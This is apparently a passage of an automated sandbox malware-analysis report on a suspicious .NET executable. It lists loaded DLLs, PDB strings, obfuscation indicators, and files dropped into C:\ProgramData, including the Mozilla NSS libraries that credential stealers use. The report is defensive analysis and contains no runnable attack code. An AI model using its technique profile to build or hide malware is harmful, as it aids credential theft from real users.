Source: C:\ProgramData\DGDBKFBAKF.exe Section loaded: amsi.dll Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Section loaded: userenv.dll Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Section loaded: profapi.dll Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Section loaded: mscorjit.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32 Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe Static PE information: Virtual size of .text is bigger than: 0x100000
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe Static file information: File size 6406656 > 1048576
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe Static PE information: Raw size of .text is bigger than: 0x100000 < 0x60a600
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: freebl3.pdb source: MSBuild.exe, 00000001.00000002.2420463242.00000000201A9000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.1.dr
Source: Binary string: mozglue.pdbP source: MSBuild.exe, 00000001.00000002.2459852233.000000006C5DD000.00000002.00000001.01000000.0000000A.sdmp, MSBuild.exe, 00000001.00000002.2424034022.0000000026112000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.1.dr
Source: Binary string: converter.pdb source: DGDBKFBAKF.exe, 00000007.00000000.2132619976.0000000000FD2000.00000002.00000001.01000000.0000000C.sdmp
Source: Binary string: freebl3.pdbp source: MSBuild.exe, 00000001.00000002.2420463242.00000000201A9000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.1.dr
Source: Binary string: nss3.pdb@ source: MSBuild.exe, 00000001.00000002.2463826458.000000006C79F000.00000002.00000001.01000000.00000009.sdmp, MSBuild.exe, 00000001.00000002.2438009388.000000003DEDF000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr
Source: Binary string: PE.pdbH] source: 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1669807678.0000000003321000.00000004.00000800.00020000.00000000.sdmp, 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1678671142.0000000005950000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: softokn3.pdb@ source: MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: softwaretown.pdb source: DBAAFIDGDA.exe, 00000005.00000000.2060267748.00000000009A2000.00000002.00000001.01000000.0000000B.sdmp, DBAAFIDGDA.exe.1.dr, jen1hg[1].exe.1.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: MSBuild.exe, 00000001.00000002.2434980346.0000000037F67000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: converter.pdbx source: DGDBKFBAKF.exe, 00000007.00000000.2132619976.0000000000FD2000.00000002.00000001.01000000.0000000C.sdmp
Source: Binary string: fmradiosoft.pdbX source: 1lKbb2hF7fYToopfpmEvlyRN.exe
Source: Binary string: PE.pdb source: 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1669807678.0000000003321000.00000004.00000800.00020000.00000000.sdmp, 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1678671142.0000000005950000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: MSBuild.exe, 00000001.00000002.2428216684.000000002C086000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\GPgmshZsn.pdb source: 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1673284783.0000000004866000.00000004.00000800.00020000.00000000.sdmp, 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1679997283.0000000005D53000.00000004.08000000.00040000.00000000.sdmp, 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1673284783.00000000043DC000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: nss3.pdb source: MSBuild.exe, 00000001.00000002.2463826458.000000006C79F000.00000002.00000001.01000000.00000009.sdmp, MSBuild.exe, 00000001.00000002.2438009388.000000003DEDF000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr
Source: Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: MSBuild.exe, 00000001.00000002.2418885416.000000001FD38000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2405952404.0000000019DC7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2634247963.00000000066DB000.00000002.00001000.00020000.00000000.sdmp
Source: Binary string: mozglue.pdb source: MSBuild.exe, 00000001.00000002.2459852233.000000006C5DD000.00000002.00000001.01000000.0000000A.sdmp, MSBuild.exe, 00000001.00000002.2424034022.0000000026112000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.1.dr
Source: Binary string: softokn3.pdb source: MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\xlHkJa.pdb source: DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000052C1000.00000004.00000800.00020000.00000000.sdmp, DGDBKFBAKF.exe, 00000007.00000002.2185461295.00000000062E0000.00000004.08000000.00040000.00000000.sdmp, DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000048C1000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: fmradiosoft.pdb source: 1lKbb2hF7fYToopfpmEvlyRN.exe
Source: Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\hZlPXWfEn.pdb source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041E3000.00000004.00000800.00020000.00000000.sdmp, DBAAFIDGDA.exe, 00000005.00000002.2078508760.0000000004B1E000.00000004.00000800.00020000.00000000.sdmp, DBAAFIDGDA.exe, 00000005.00000002.2092583255.0000000005BEC000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation
barindex
.NET source code contains method to dynamically call methods (often used by packers)
Source: 0.2.1lKbb2hF7fYToopfpmEvlyRN.exe.33a64d0.1.raw.unpack, fDX9tehJ5EFemhKZwc.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 0.2.1lKbb2hF7fYToopfpmEvlyRN.exe.5950000.13.raw.unpack, fDX9tehJ5EFemhKZwc.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Contains functionality to dynamically determine API calls
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_00417A40 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 1_2_00417A40
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_0041CDD5 push ecx; ret 1_2_0041CDE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C59B536 push ecx; ret 1_2_6C59B549
Source: C:\ProgramData\DBAAFIDGDA.exe Code function: 5_2_0182B3FB push edx; iretd 5_2_0182B3FE
Source: C:\ProgramData\DBAAFIDGDA.exe Code function: 5_2_0182B7FB pushad ; retf 5_2_0182B7FC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_00419EB5 push ecx; ret 6_2_00419EC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_0668F456 push ebx; ret 6_2_0668F457
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_0667D568 push esp; retf 6_2_0667D570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_0667DB66 push esp; retf 6_2_0667DB67
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_06613C51 push es; retf 6_2_06613C57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_0664773D push es; ret 6_2_0664773F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_06644BF0 push ecx; ret 6_2_06644C03
Source: 0.2.1lKbb2hF7fYToopfpmEvlyRN.exe.33a64d0.1.raw.unpack, fDX9tehJ5EFemhKZwc.cs High entropy of concatenated method names: 'ce4DmfsmSrOT856tDgfrkMb', 'NvQOxwsIFR', 'QsUuklFoHUiQD', 'MCRoDX9te', 'l5EbFemhK', 'uwcnnhQXJ', 'J3PigtLyh', 'PwdNpFGeB', 'XCj67ZIOy', 'w09DYCs5D'
Source: 0.2.1lKbb2hF7fYToopfpmEvlyRN.exe.33a64d0.1.raw.unpack, zcrmeG4DKc05Qj8A7l.cs High entropy of concatenated method names: 'Ys7O1WDVbX', 'EIxO3RK2jf', 'ov3OzJmFFU', 'KJS0ILfinW', 'Gtt0O5H9rf', 'Gvj00KAYqN', 'hUG0r1tocH', 'PBb0lrpBsM', 'pGy05VOh0y', 'j3M0RfBB5l'
Source: 0.2.1lKbb2hF7fYToopfpmEvlyRN.exe.5950000.13.raw.unpack, fDX9tehJ5EFemhKZwc.cs High entropy of concatenated method names: 'ce4DmfsmSrOT856tDgfrkMb', 'NvQOxwsIFR', 'QsUuklFoHUiQD', 'MCRoDX9te', 'l5EbFemhK', 'uwcnnhQXJ', 'J3PigtLyh', 'PwdNpFGeB', 'XCj67ZIOy', 'w09DYCs5D'
Source: 0.2.1lKbb2hF7fYToopfpmEvlyRN.exe.5950000.13.raw.unpack, zcrmeG4DKc05Qj8A7l.cs High entropy of concatenated method names: 'Ys7O1WDVbX', 'EIxO3RK2jf', 'ov3OzJmFFU', 'KJS0ILfinW', 'Gtt0O5H9rf', 'Gvj00KAYqN', 'hUG0r1tocH', 'PBb0lrpBsM', 'pGy05VOh0y', 'j3M0RfBB5l'
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File created: C:\ProgramData\DGDBKFBAKF.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\jen1hg[1].exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File created: C:\ProgramData\DBAAFIDGDA.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\gfn1go[1].exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file
Drops PE files to the application program directory (C:\ProgramData)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File created: C:\ProgramData\DGDBKFBAKF.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File created: C:\ProgramData\DBAAFIDGDA.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_00417A40 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 1_2_00417A40
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
